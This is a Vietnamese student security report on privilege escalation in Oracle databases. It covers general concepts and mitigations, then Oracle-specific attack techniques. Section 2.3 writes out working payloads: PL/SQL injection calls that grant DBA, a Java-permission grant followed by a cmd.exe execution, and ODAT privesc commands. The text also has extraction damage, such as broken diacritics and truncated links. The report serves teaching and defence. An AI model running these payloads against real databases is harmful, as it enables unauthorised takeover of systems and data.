Ban Cơ Yếu Chính Phủ
Học Viện Kĩ Thuật Mật Mã
Báo Cáo
An Tồn Cơ Sở Dữ Liệu
TÌM HIỂU VỀ TẤN CƠNG
LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ ORACLE
Người hướng dẫn:
Ts. Trần Thị Lượng
Nhóm gồm:
Hà Nội – 2020
Ban Cơ Yếu Chính Phủ
Học Viện Kĩ Thuật Mật Mã
Báo Cáo
An Toàn Cơ Sở Dữ Liệu
TÌM HIỂU VỀ TẤN CƠNG
LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ ORACLE
Người hướng dẫn:
Ts. Trần Thị Lượng
Nhóm gồm:
2
Hà Nội – 2020
MỤC LỤC
LỜI NÓI ĐẦU...............................................................................................................5
CHƯƠNG 1...................................................................................................................1
TỔNG QUAN TẤN CƠNG LEO THANG ĐẶC QUYỀN...........................................1
1.1. Giới thiệu tấn cơng leo thang đặc quyền.......................................................1
1.2. Các dạng leo thang đặc quyền........................................................................2
1.2.1.
Leo thang đặc quyền dọc.......................................................................2
1.2.2.
Leo thang đặc quyền ngang...................................................................3
1.3. Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền.................3
CHƯƠNG 2...................................................................................................................6
LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ CƠ SỞ DỮ LIỆU ORACLE. 6
2.1. Giới thiệu kiến trúc Oracle.............................................................................6
2.2. Quản trị Oracle................................................................................................7
2.2.1.
Phân loại user:........................................................................................7
2.2.2.
Đặc quyền trong Oracle.........................................................................8
2.2.3.
Ngôn ngữ PL/SQL..................................................................................9
2.3. Một số kĩ thuật tấn công leo thang đăc quyền trong Oracle........................9
2.3.1.
Khai thác PL/SQL Injection................................................................10
2.3.2.
Leo thang đặc quyền với Oracle Indexes...........................................12
2.3.3.
Sử dụng công cụ Odat..........................................................................13
CHƯƠNG 3.................................................................................................................16
THỰC NGHIỆM VÀ ĐÁNH GIÁ..............................................................................16
3.1. Công cụ sử dụng.............................................................................................16
3.2. Thông tin victim và người tấn công.............................................................16
3.3.1
Privilege Escalation via Oracle Indexes...................................................16
Hình 1. Khởi tạo user...................................................................................................16
3.3.3
Privilege Escalation via Creating Packet..................................................23
Kết Luận.......................................................................................................................26
3
Tài Liệu Tham Khảo....................................................................................................27
4
LỜI NÓI ĐẦU
5
Hiện nay với sự phát triển của cuộc cách mạng số 4.0, cơ sở dữ liệu đóng một
vai trị hết sức quan trọng. Cơ sở dữ liệu tham gia hầu hết các lĩnh vực từ kinh tế,
khoa học hay quốc phòng an ninh, sự ngưng trệ hay hoạt động thiếu chính xác sẽ gây
hậu quả nghiêm trọng. Do vậy bảo vệ thông tin trong cơ sở dữ liệu là một vấn đề cần
được đầu tư nghiên cứu và triển khai ứng dụng nhất định. Song để triển khai được các
mô hình này, chúng ta cần phải xây dựng cùng với các hệ quản trị cơ sở dữ liệu.
Oracle là bộ phần mềm được cung cấp bởi công ty Oracle, là một trong những
hệ quản trị cơ sở dữ liệu phổ biến nhất thế giới. Để hình dung dễ dàng hơn và hiểu rõ
hơn về kĩ thuật an toàn được thể hiện trong hệ quản trị cơ sở dữ liệu, nhóm chúng em
chọn đề tài “Tìm hiểu về tấn cơng leo thang đặc quyền trong hệ quản trị Oracle”
làm đề tài mơn học An tồn cơ sở dữ liệu
Nội dung đề tài gồm 3 phần:
Chương 1. Tổng quan tấn công leo thang đặc quyền
Chương 2. Leo thang đặc quyền trong hệ quản trị cơ sở dữ liệu Oralce
Chương 3. Thực nghiệm
Nội dung đề tài đi từ khái niệm cơ bản đến cách thức để tấn công leo thang đặc
quyền trong hệ quản trị cơ sở dữ liệu Oracle giúp người đọc có cái nhìn tổng qt về
vấn đề leo thang đặc quyền cũng như quy trình thực hiện tấn cơng Oracle dựa trên
một số lỗ hổng được cơng bố.
Nhóm đề tài xin chân thành cảm ơn cô Trần Thị Lượng đề tận tình giảng dạy,
giúp đỡ tận tình để nhóm thực hiện tốt đề tài mơn an tồn cơ sở dữ liệu này. Mặc dù
nhóm đã cố gắng thực hiện đề tài này nhưng do còn hạn chế về mặt thời gian cũng
như năng lực nên đề tài khó tránh khỏi thiếu sót và khuyết điểm. Nhóm rất mong
được nhận sự thông cảm và sự đánh giá, nhận xét của quý thầy cơ và sự góp ý của các
bạn để giúp đề tài được hoàn thiện hơn
Xin cảm ơn tất cả mọi người đã tạo những điều kiện tốt nhất để chúng em hoàn
thành đề tài này!
Hà nội, ngày 12 tháng 12 năm 2019
SINH VIÊN THỰC HIỆN
6
CHƯƠNG 1
TỔNG QUAN TẤN CÔNG LEO THANG ĐẶC QUYỀN
1.1.
Giới thiệu tấn công leo thang đặc quyền
Leo thang đặc quyền (Escalating Privilege) về cơ bản có định nghĩa là thêm nhiều
quyền hơn hoặc cho phép một tài khoản người dùng thêm quyền, leo thang đặc
quyền làm cho một tài khoản người dùng có quyền như là tài khoản quản trị.
Nói chung, các tài khoản quản trị viên có yêu cầu mật khẩu nghiêm ngặt hơn, và
mật khẩu của họ được bảo vệ chặt chẽ hơn. Nếu khơng thể tìm thấy một tên người
dùng và mật khẩu của một tài khoản với quyền quản trị viên, một hacker có thể
chọn sử dụng một tài khoản với quyền thấp hơn. Tại trường hợp này, các hacker
sau đó phải leo thang đặc quyền để có nhiều quyền như quyền của quản trị.
Cái này được thực hiện bằng cách nắm lấy quyền truy cập bằng cách sử dụng một
tài khoản người dùng không phải là quản trị viên. Thường bằng cách thu thập các
tên người dùng và mật khẩu thông qua một bước trung gian để gia tăng các đặc
quyền trên tài khoản với mức độ quản trị viên.
Một khi hacker đã có một tài khoản người dùng hợp lệ và mật khẩu, các bước tiếp
theo là để thực thi các ứng dụng nói chung hacker cần phải có một tài khoản có
quyền truy cập cấp quản trị viên để cài đặt chương trình. Đó là lý do tại sao leo
thang đặc quyền là rất quan trọng.
7
Một khi hacker đã có thể truy cập tài khoản với quyền quản trị, điều tiếp theo cần
làm là thực thi các ứng dụng trên hệ thống đích. Mục tiêu của việc thực thi ứng
dụng có thể cài đặt một cửa sau trên hệ thống, cài đặt một keylogger để thu thập
thơng tin bí mật, sao chép các tập tin, hoặc chỉ gây thiệt hại cơ bản cho hệ thống,
bất cứ điều gì hacker muốn làm trên hệ thống. Lúc này, hacker có thể thực thi các
ứng dụng, họ có thể chiếm toàn quyền trên hệ thống hệ thống.
1.2.
Các dạng leo thang đặc quyền
Kẻ tấn công bắt đầu bằng cách khai thác lỗ hổng leo thang đặc quyền trong một hệ
thống hoặc ứng dụng mục tiêu, cho phép chúng ghi đè các giới hạn của tài khoản
người dùng hiện tại. Sau đó, họ có thể truy cập chức năng và dữ liệu của người
dùng khác (leo thang đặc quyền theo chiều ngang) hoặc có được các đặc quyền
nâng cao, thường là của quản trị viên hệ thống hoặc người dùng quyền lực khác
(leo thang đặc quyền dọc). Sự leo thang đặc quyền như vậy thường chỉ là một
trong những bước được thực hiện để chuẩn bị cho cuộc tấn công chính.
1.2.1. Leo thang đặc quyền dọc
Leo thang đặc quyền dọc (Vertical privilege escalation): còn gọi là độ cao đặc
quyền, trong đó người dùng hoặc ứng dụng đặc quyền thấp hơn truy cập vào các
chức năng hoặc nội dung dành cho người dùng hoặc ứng dụng có đặc quyền cao
hơn (ví dụ: người dùng Internet Banking có chức năng quản trị hệ thống và sửa đổi
cơ sở dữ liệu).
Với các đặc quyền nâng cao này, kẻ tấn cơng có thể phá hủy tất cả các tài nguyên
trong hệ thống máy tính và ứng dụng của bạn: đánh cắp thông tin truy cập và
thông tin nhạy cảm khác, tải xuống và thực thi phần mềm độc hại, xóa dữ liệu hoặc
thực thi mã tùy ý. Tệ hơn nữa, những kẻ tấn công có thể sử dụng các đặc quyền
nâng cao để che dấu vết của chúng bằng cách xóa nhật ký truy cập và bằng chứng
khác về hoạt động của chúng. Điều này có khả năng khiến nạn nhân khơng biết
rằng một cuộc tấn cơng đã xảy ra. Bằng cách đó, tội phạm mạng có thể ngấm
ngầm đánh cắp thơng tin hoặc cài đặt phần mềm độc hại trực tiếp trong hệ thống.
Một số ví dụ leo thang đặc quyền dọc:
Trong một số trường hợp, một ứng dụng đặc quyền cao giả định rằng nó sẽ chỉ
được cung cấp với đầu vào khớp vớp đặc tả giao diện của nó. Kẻ tấn cơng có thể
khai thác giả định này để chạy mã trái phép với đặc quyền của ứng dụng:
Buffer Overflow: về bản chất cuộc tấn công tràn bộ đệm gửi q nhiều
thơng tin cho một biến nào đó trong ứng dụng, có thể gây lỗi ứng dụng. Một
8
lỗ hổng như tràn bộ đệm có thể được sử dụng để thực thi mã tùy ý với đặc
quyền được nâng lên Administrator.
Cross Zone Scripting là một kiểu tấn cơng leo thang đặc quyền trong đó một
trang web thay đổi mơ hình bảo mật của trình duyệt web, cho phép chạy mã
độc trên máy khách
Một ứng dụng có thể thực thi các dòng lệnh Command line hoặc shell có thể
có lỗ hổng Shell Ịnection nếu nó sử dụng đầu vào khơng có giá trị giống như
một phần của lệnh được thực thi, kẻ tấn cơng sau đó có thể chạy các lệnh hệ
thống bằng các đặc quyền ứng dụng.
iOS jaibreaking: là sự leo thang đặc quyền của thiết bị Apple với mục đich xóa bỏ
các hạn chế phần mềm do Apple áp đặt lên có hệ điều hành iOS, iPadOS, tvOS và
watchOS. Jailbreak cho phép truy cập root trong hệ điều hành di động của Apple,
cho phép cài đặt phần mềm không được Apple chấp thuận, như tùy chỉnh và chỉnh
sửa giao diện người dùng.
Root (Android): là quá trình cho phép người dùng điện thoại thơng minh, máy tính
bảng hay các thiết bị sử dụng hệ điều hành android để đạt được quyền truy cập
root. Vì android sử dụng nhân linux, việc root thiết bị Android cho phép truy cập
tương tự các quyền quản trị như trên linux hoặc bất kì hệ điều hành nào giốn như
Unix (FreeBSD, macOS). Root cung cấp quyền thay đổi hoặc thay thế ứng dụng
và cài đặt hệ thống, các ứng dụng chuyên dụng yêu cầu quyền cấp quản trị viên
hoặc các hoạt động khác mà người dùng Android không thê truy cập được
Rootkit: là một loại chương trình thường được sử dụng để che dấu các tiện ích trên
hệ thống bị xâm nhập. Rootkit bao gồm cái gọi là back doors, nó giúp cho kẻ tấn
cơng đó truy cập vào hệ thống sẽ dễ dàng hơn trong lần sau. Ví dụ, các rootkit có
thể ẩn một ứng dụng, ứng dụng này có thể sinh ra một lệnh kết nối vào một cổng
mạng cụ thể trên hệ thống. Back door cho phép các q trình bắt đầu bởi một
người khơng có đặc qun, dùng để thực hiện chức năng thường dành cho các
quản trị viên
1.2.2. Leo thang đặc quyền ngang
Leo thang đặc quyền ngang (Horizontal privilege escalation): người dùng bình
thường truy cập các chức năng hoặc nội dung dành riêng cho những người dùng
bình thường khác (ví dụ: người dùng Internet Banking A truy cập vào tài khoản
Internet Banking của người dùng B).
Một số nguy cơ leo thang đặc quyền ngang:
Có thể dự đoán được session ID trong HTTP cookie của người dùng
9
1.3.
Session fixation
Cross-site scripting
Mật khẩu dễ đoán
Trộm cắp hoặc chiếm quyền điều khiển
Keystroke logging
Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền
Những kẻ tấn công sử dụng nhiều kĩ thuật leo thang đặc quyền để đạt được mục
tiêu của họ. Nhưng để cố gắng leo thang đặc quyền ở bước đầu tiên, họ thường cần
có quyền truy cập vào tài khoản người dùng ít đặc quyền hơn. Điều này có nghĩa là
tài khoản người dùng thông thường cần bảo vệ đầu tiên, do đó cần thực hiện các
biện pháp để kiểm sốt truy cập:
Thực thi chính sách mật khẩu: mật khẩu cần phải đủ mạnh và thay đổi mật
khẩu thường xuyên để bảo mật, nhưng không gây bất tiện cho người dùng.
Tạo người dùng và nhóm chuyên biệt với quyền truy cập và quyền truy cập
tệp tối thiểu cần thiết: áp dụng quy tắc quyền tối thiều cần thiết để giảm
thiểu rủi ro khi bất kỳ tài khoản người dùng bị xâm phạm.
Các ứng dụng cung cấp điểm vào dễ dàng nhất cho bất kỳ cuộc tấn cơng nào, vì
vậy điều quan trọng là giữ an toàn cho chúng:
Tránh các lỗi lập trình phổ biến trong các ứng dụng của bạn: tránh các lỗi
lập trình phổ biến thường bị kẻ tấn công nhắm tới như tràn bộ dệm, code
injection và đầu vào của người dùng không được xác thực
Bảo mật cơ sở dữ liệu và lọc đầu vào của người dùng: các hệ thống cơ sở dữ
liệu thường là mục tiêu tấn cơng vì nhiều ứng dụng web hiện nay và
frameworks lưu trữ tất cả dữ liệu của chúng trong cơ sở dữ liệu bao gồm cài
đặt cấu hình, thơng tin đăng nhập và dữ liệu người dùng. Chỉ với một cuộc
tấn công SQL injection, kẻ tấn công có thể có quyền truy cập vào tất cả
thơng tin này sử dụng để cho cuộc tấn công tiếp theo.
Không phải tất cả các cuộc tấn công leo thang đặc quyền nhắm trực tiếp vào tài
khoản người dùng, đặc quyền của quản trị viên cũng có thể có được bằng cách
khai thác lỗi ứng dụng và hệ điều hành hay lỗi cấu hình. Để giảm thiểu:
Giữ cho hệ thống và ứng dụng được vá và cập nhật: Nhiều cuộc tấn cơng
khai thác lỗi đã biết, vì vậy ta cần giữ cập nhật để hạn chế tấn công
Đảm bảo quyền chính xác cho tất cả các tệp và thư mục: cũng như tài khoản
người dùng, các tệp và thư mục cần tuân theo quy tắc quyền tối thiểu, nếu
có gì đó khơng cần ghi hãy giữ ở chế độ đọc.
10
Đóng các cổng khơng cần thiết và xóa tài khoản người dùng khơng sử dụng:
cấu hình hệ thống mặc định thường bao gồm các dịch vụ không cần thiết
chạy trên các cổng mở và mỗi cổng là một lỗ hổng tiềm năng. Bạn có thể
xóa hoặc đổi tên tài khoản người dùng mặc định để tránh kẻ tấn công bắt
đầu dễ dàng.
Xóa và hạn chế tất các các chức năng truyền tệp: kẻ tấn công thường cần
một cách để tài xuống tập lệnh khai thác và mã độc, vì vậy hãy xem kĩ tất cả
các cơng cụ, tiện ích hệ thống cho phép truyền tập như FTP, wget, curl...
Xóa các cơng cụ bạn khơng cần và khóa những cơng cụ cịn lại, hạn chế sử
dụng chúng cho các thư mục, người dùng và ứng dụng cụ thể.
Thay đổi thông tin đăng nhập mặc định trên tất cả các thiết bị bao gồm cả
định tuyến và máy in: chỉ cần bộ định tuyến có mật khẩu mặc định của quản
trị viên hay một máy in mạng có cổng telnet đang mở có thể cung cấp cho
kẻ tấn cơng chỗ đứng.
Thường xuyên quét các hệ thống và ứng dụng để tìm lỗ hổng
Để giảm nguy cơ leo thang đặc quyền người dùng có thể sử dụng một vài biện
pháp khác:
Ngăn chặn thực thi dữ liệu
Bố trí ngẫu nhiên không gian địa chỉ (làm cho tấn công tràn bộ đệm khó
thực hiện hơn)
Sử dụng trình biên dịch bẫy tràn bộ đệm
Mã hóa phần mềm hoặc các thành phần firmware
Sử dụng hệ thống với kiểm soát truy nhập bắt buộc MAC
11
CHƯƠNG 2
LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ CƠ SỞ DỮ LIỆU
ORACLE
2.1.
Giới thiệu kiến trúc Oracle
Oracle được xây dựng trên 3 kiến trúc gồm:
Kiến trúc bộ nhớ (memory structure)
Kiến trúc process (process structure)
Kiến trúc về lưu trữ (storage structure)
Trong đó bộ nhớ và các process sẽ tạo thành instance, phần lưu trữ là database.
Kiến trúc bộ nhớ gồm 2 phần:
System Global Area (SGA): phần bộ nhớ chia sẻ, bao gồm nhiều phần bộ
nhớ nhỏ bên trong, chứa thông tin về hoạt động database, thông tin về
các session, process, code thực thi, dữ liệu đọc từ phần lưu trữ lên…Một
số thành phần chính: database buffer cache, redo log bufer, shared pool…
Program Global Area (PGA): phần bộ nhớ riêng cho mỗi server process
(user session) hay background process.
Kiến trúc process:
12
Server process : khi user mở 1 tool ứng dụng lên, chẳng hạng như sqlplus và
kết nối với database ta gọi nó là user process. Server process là các tiến trình
được sinh ra để phục vụ các yêu cầu từ user process. Cơng việc của Server
process cơ bản có 3 nhiệm vụ:
Phân tích và chạy các câu lệnh SQL từ client (user process)
Đọc dữ liệu cần thiết từ disk lên database buffer cache nếu chưa có
Trả kết quả về cho client
Background process: thực hiện các công việc nội tại của database: quản lý
memory, process, quản lý I/O, giao tiếp giữa các thành phần…
Kiến trúc lưu trữ:
Kiến trúc vật lý: là các tập tin, những gì thấy được trên hệ điều hành được
lưu trữ trong hệ thống lưu trữ
2.2.
Kiến trúc logic: phân bổ không gian logic cho tất cả dữ liệu trong database
,lưu trữ logic tổ chức phức tạp, phân theo nhiều cấp
Quản trị Oracle
2.2.1. Phân loại user:
Oracle là một hệ quản trị cơ sở dữ liệu lớn, chạy trên môi trường mạng. Để vận
hành hệ thống được tốt, có thể có nhiều người sẽ tham gia vào hệ thống với vai trò
khác nhau gọi là các user. Phân ra làm một số user chính:
Database Administrators
Security Officers
Application Developers
13
Application Administrators
Database Users
Network Administrators
Database Administrators:
Do hệ thống Oracle database có thể là rất lớn và có nhiều user cùng tham gia
vào hệ thống, khi đó sẽ có một hay một số người chịu trách nhiệm quản lý
hệ thống được gọi là database administrator (DBA). Mỗi data cần ít nhất
một người để thực hiện cơng việc quản trị.
Nhiệm vụ:
Cài đặt và nâng cấp Oracle server và các công cụ ứng dụng khác
Phân phối hệ thống lưu trữ và lên kế hoạch lưu trữ cho hệ thống cơ sở
dữ liệu trong tương lai
Tạo những cấu trúc lưu trữ cơ bản như tablespaces phục vụ cho việc
phát triển và hoạt động của các ứng dụng
Tạo các đối tượng trong database như tables, views, indexes sử dụng
cho các ứng dụng được thiết kế
Thay đổi cấu trúc database khi cần thiết tuỳ theo các thông tin của các
application
Quản lý các users và đảm bảo bảo mật hệ thống
Đảm bảo tương thích về bản quyền, phiên bản với hệ thống Oracle
Điều khiển và quản trị các user access truy xuất tới database
Quản lý và tối ưu các truy xuất tới database
Lên kế hoạch backup (sao lưu) và recovery (phục hồi) các thơng tin
có trong database
Lưu trữ các archive data
Sao lưu và khơi phục database
Security Officers: một nhóm người chun thực hiện công việc bảo vệ database.
Kết nối với database, điều khiển và quản lý việc truy nhập vào database của các
users và bảo mật hệ thống
Application Developers: người thiết kế và viết các ứng dụng database.
Database Users: tương tác với database thông qua các ứng dụng và các tiện ích.
Một user điển hình có thể thực hiện được một số cơng việc sau:
Truy nhập, sửa đổi, và xố huỷ các dữ liệu được phép
Tạo các báo cáo đối với dữ liệu
14
Network Administrators: database Oracle hoạt đông trên môi trường mạng, khi đó
cần có một user thực hiện cơng việc quản trị mạng. User này có trách nhiệm đảm
bảo các ứng dụng Oracle hoạt động trên môi trường mạng được tốt.
2.2.2. Đặc quyền trong Oracle
Là quyền thực hiện một thao tác nhất định đối với cơ sở dữ liệu. Đặc quyền có thể
gán(Grant) hoặc thu hồi(Revoke) đối với người dùng.
Phân loại:
Đặc quyền đối tượng: quyền thực hiện một thao tác cụ thể lên một schema
object cụ thế. Ví dụ như quyền thêm, xóa, sửa các hàng dữ liệu khỏi bảng.
Đặc quyền hệ thống: quyền thực hiện một tác vụ cơ sở dữ liệu cụ thể hoặc
quyền thực hiện một loại hành động trên tất cả những đối tượng schema
của hệ thống. Ví dụ: quyền ALTER SYSTEM, quyền CREATE TABLE,
quyền DELETE ANY TABLE ...
(Chi tiết tham khảo tại:
/>QL345)
Cớ 2 user account được gán quyền DBA là SYS và SYSTEM
Tài khoản SYS
Là tài khoản sở hữu cơ cớ dữ liệu và từ điển dữ liệu.
User SYS được tạo tự động và được gán role DBA.
Không nên tạo các table hay chỉnh sửa gì trong schema của user SYS.
Tài khoản SYSTEM
Là tài khoản được tạo khi tạo cơ sở dữ liệu, được gán role DBA.
User SYSTEM thường sở hữu các bảng do Oracle cung cấp.
User SYSTEM có thể tạo thêm các table và view để cung cấp thông tin quản trị.
Không nên tạo các đối tượng bằng tài khoản này.
Quyền DBA: ngay khi tạo database, Oracel tạo sẵn 1 quyền gọi là DBA. Quyền
này cho phép thực hiện các thao tác quản trị đối với database. Khi các user có
quyền này có thể can thiệp được tới các quyền của các user khác trong hệ thống.
2.2.3. Ngôn ngữ PL/SQL
15
Là một ngơn ngữ lập trình hướng thủ tục sử dụng cho Oracle SQL. SQL dùng để
truy nhập lấy dữ liệu từ cơ sở dữ liệu, khơng có sự đảm bảo về tính hiệu quả,
khơng có vịng lặp… do đó PL/SQL (Procedural Language/Structured Query
Language) được sử dụng để khắc phục những nhược điểm SQL và có thêm những
tính năng mới.
PL/SQL sử dụng cho việc tạo các procedure, fuction, trigger và object được lưu trữ
trong Oracle và được tái sử dụng bởi các ứng dụng bất kỳ giao tiếp với ứng dụng
Oracle
2.3. Một số kĩ thuật tấn công leo thang đăc quyền trong Oracle
Trong báo cáo này, mục tiêu trong mỗi kĩ thuật là giành được quyền DBA từ các
đặc quyên bất kì
2.3.1. Khai thác PL/SQL Injection
Bạn có thể sử dụng các phương pháp khác nhau để nâng cao đặc quyền trong
Oralce từ tràn bộ đệm và DLL patching đến các cuộc tấn công chuyên biệt chống
lại cơ sở dữ liệu như PL/SQL Injection.
Không giống như hệ quản trị SQL Server, nơi kẻ tấn công thể thể tiêm
‘xp_cmdshell’ gần như ngay lập tức sau khi ‘SELECT’ bằng cách đóng nó bằng
dấu ngoặc kép, Oracle DB từ chối thẳng thừng các thủ thuật đó. Do đó ta xem xét
sử dụng tiêm PL/SQL, đang sửa đổi quy trình thực hiện một thủ tục hàm
(function, trigger, và đối tượng khác) bằng cách nhúng các lệnh ngẫu nhiên vào
các tham số đầu vào có sẵn. Người tấn cơng tìm thấy lỗ hổng tiêm PL/SQL, họ có
thể tiêm mã PL/SQL để tăng đặc quyền và bắt đầu các lệnh hệ điều hành trên máy
chủ cơ sở dữ liệu
Để nhúng các tải trọng (payload), tìm một function trong đó các tham số đầu vào
khơng được lọc. Do Oracle không cho phép truy vấn đa câu lệnh nên bạn cần sử
dụng một số thủ tục “đặc biệt” có tính năng này. Ý tưởng đằng sau cuộc tấn cơng
như sau:
Theo mặc định, trừ khi có quy định khác, thủ tục được thực hiện thay mặt chủ sở
hữu và không thay mặt người dùng đã bắt đầu nó. Nói các khác, nếu một thủ tục
thuộc sở hữu của tài khoản SYS có sẵn để thực thi và bạn có thể nhúng mã của
mình vào nó, các tải trọng của bạn cũng sẽ được thực hiện trong ngữ cảnh của tài
khoản SYS. Như đã đề cập, đây không phải là điều ln xảy ra vì có các thủ tục
với tham số ‘authid current_user’, có nghĩa là thủ tục này sẽ được thực thi với đặc
quyền của người dùng hiện tại. Tuy nhiên, thường trong mỗi phiên bản ban có thể
tìm một số chức năng dễ bị tổn thương khi tiêm PL/SQL.
16
Một cách nhìn tổng quát được thể hiện như sau:
SQL> conn sys/as sysdba
Enter password:
Connected.
SQL> CREATE OR REPLACE PROCEDURE hello(param1
IN VARCHAR) (1)
2 IS
3 BEGIN
4
DBMS_OUTPUT.PUT_LINE('Hello, ' || param1);
5 END;
6 /
Procedure created.
SQL> GRANT EXECUTE ON hello TO congty;
(2)
Grant succeeded.
SQL> conn congty/123456
(3)
Connected.
SQL> exec sys.hello('Dong');
(4)
Hello, Dong
PL/SQL procedure successfully completed.
SQL>
(1): Người dùng đặc quyền tạo một thủ tục tên là hello nhận một đầu vào như một
đối số. Sau đó hiển thị nó lên màn hình.
(2): Cấp quyền để thực hiện thủ tục cho người dùng congty
(3): Đăng nhập với người dùng congty
(4): Gọi thủ tục. Đối số được thơng qua trong dấu ngoặc đơn.
Nói ngắn gọn, thay vì đối số hợp pháp dự kiến, bạn chuyển một số mã độc trở
thành một phần của thủ tục. Một ví dụ điển hình được cung cấp bởi hàm
‘CTXSYS.DRILOAD’. Nó được thực hiện thay cho ‘CTXSYS và khơng lọc tham
số đầu vào, cho phép bạn dễ dàng tăng quyền thành DBA:
exec ctxsys.driload.validate_stmt('grant dba to
scott');
Tuy nhiên kể từ khi lỗ hổng được tìm thấy vào năm 2004 và chỉ ảnh hưởng tới
phiên bản 8, 9.
Thơng thường q trình leo thang đặc quyền được chia thành 2 phần:
17
Viết thủ tục hàm tăng quyền
Tự thực hiện tiêm
Một thủ tục điển hình như sau (Áp dụng cho oracle 10x):
CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/
Và bây giờ ta có thể tiêm thủ tục hàm như là một đối số của hàm dễ bị tổn
thương:
exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1
--');
Trong phiên bản 10 và 11, có một ngoại lệ “nice” đúng hơn nó là một lỗ hổng, cho
phép bạn thực thi các lệnh trên máy chủ mà khơng cần có quyền DBA: thủ tục
‘DBMS_JVM_EXP_PERMS’ cho phép người dùng với đặc quyền ‘CREATE
SESSION’ có được quyền ‘JAVA IO’.Cuộc tấn cơng có thể được thể hiện như sau:
SQL> DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GREMLIN','SYS','java.io.FilePermission','<
FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
PL/SQL procedure successfully completed.
18
Và bây giờ bạn đã có các đặc quyền để gọi các thủ tục Java, bạn có thể phản hồi
từ trình thơng dịch Windows và thực thi một đoạn mã tùy ý:
SQL>select
dbms_java.runjava(‘oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c echo 123
>c:\\hack’)from dual;
2.3.2. Leo thang đặc quyền với Oracle Indexes
Index là một database object được tạo ra trên table với mục đích tăng tốc tốc độ
truy xuất dữ liệu. Với ý nghĩa như mục lục của cuốn sách, index được tạo trên 1
hoặc nhiều column. Khi đó index sẽ lưu giữ các giá trị trong các column đó, cùng
với rowId( địa chỉ vật lý trên disk) của tường row dữ liệu. Nhờ vậy khi truy vấn 1
lượng data nhỏ, Oracle có thể lấy được ngày dữ liệu nhờ việc truy xuất đúng vị trí
row dữ liệu trên disk, thay vì phải dị tồn bộ bảng để tìm dữ liệu
Trong Oracle, để có thể tạo các Index trên bảng, người dùng phải sở hữu bảng
hoặc có đặc quyền hệ thống CREATE ANY INDEX. Nếu người dùng có một trong
2 đặc quyền này, thì lỗ hổng bảo mật sẽ được mở ra, theo đó họ có thể thực thi
SQL tùy ý như là chủ sở hữu của bảng bằng cách tạo một function-based index
trên bảng. Nếu bảng trong question được sở hữu bởi người dùng có đặc quyền cao
như SYS hoặc SYSTEM thì máy chủ cơ sở dữ liệu sẽ bị lộ nguy hiểm vì nó cung
cấp cho kẻ tấn cơng khả năng thỏa hiệp hồn tồn hệ thống.
2.3.3. Sử dụng công cụ Odat
Odat (Oracle Database Attacking Tool) là một công cụ kiểm tra thâm nhập mã
nguồn mở kiểm tra tính bảo mật của cơ cở dữ liệu Oralce từ xa (áp dụng cho
Oracle 10g, 11g, 12c).
Một số ví dụ sử dụng Odat:
Bạn có tài khoản Oralce hợp lệ để kết nối với cơ sở dữ liệu và muốn leo
thang đặc quyền của mình để trở thành DBA hoặc SYSDBA
Bạn có tài khoản Oracle và bạn muốn thực thi các lệnh hệ thống (ví dụ:
reverse shell – một loại shell mà mục tiêu giao tiếp ngược lại với kẻ tấn
công) để chiếm quyền trên hệ điều hành lưu trữ cơ sở dữ liệu.
Cài đặt: Odat chỉ hoạt động trên linux và được sử dụng cho Oracle 10g, 11g, 12c
và 18c
Bạn
cố
thể
xem
hướng
/>19
dẫn
chi
tiết
tại:
Kiến trúc:
Sử dụng: (tham khảo thêm tại />Sử dụng all module là module đầu tiên được sử dụng khi bạn gặp cơ sở dữ liệu
Oracle. Bạn có thể sử dụng lệnh này để bắt đầu:
./odat.py all -s 192.168.1.254 -p 1521
Bạn có thể cung cấp SID nếu bạn biết:
./odat.py all -s 192.168.1.254 -p 1521 -d ORCL
Nếu bạn biết một tài khoản hợp lệ, bạn có thể sử dụng module sau :
./odat.py all -s 192.168.1.254 -p 1521 -d ORCL -U SYS -P
password
Để trở thành DBA với các đặc quyền hệ thống ta sử dụng module privesc của
Odat.
Module privesc có được quyền truy cập đặc quyền (ví dụ DBA) bằng cách sử dụng
các kết hợp đặc quyền hệ thống sau đây:
20
CREATE ANY PROCEDURE (cho phép người dùng tạo thủ tục, hàm hoặc
gói PL/SQL do bất kỳ người dùng nào sở hữu trong cơ sở dữ liệu)
CREATE PROCEDURE (Cho phép người dùng tạo thủ tục, hàm hoặc gói
PL / SQL do người dùng đó sở hữu) và EXECUTE ANY PROCEDURE
(Cho phép người dùng thực hiện bất kỳ thủ tục, hàm hoặc gói PL / SQL nào
trong cơ sở dữ liệu)
CREATE ANY TRIGER (và CREATE PROCEDURE)
ANALYZE ANY (và CREATE PROCEDURE)
CREATE ANY INDEX (Cho phép người dùng tạo một chỉ mục trên bất kỳ
bảng hoặc chế độ xem cụ thể hóa trong cơ sở dữ liệu) (và CREATE
PROCEDURE)
Với module privesc, bạn có thể gán quyền DBA cho người dùng Oracle sử dụng
module này. Một ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY
PROCEDURE:
./odat.py privesc -s $SERVER -d $ID -U $USER -P
$PASSWORD --dba-with-create-any-trigger
Ngồi ra, có thể thực hiện các truy vấn SQL dưới dạng SYS theo cách thủ công.
Dưới đây là một ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY
PROCEDURE:
./odat.py privesc -s $SERVER -d $ID -U $USER -P
$PASSWORD --exec-with-execute-any-procedure 'GRANT
dba TO $USER'
Bạn có thể thu hồi vai trị DBA bằng sử dụng lệnh sau:
./odat.py privesc -s $SERVER -d $ID -U $USER -P
$PASSWORD --revoke-dba-role
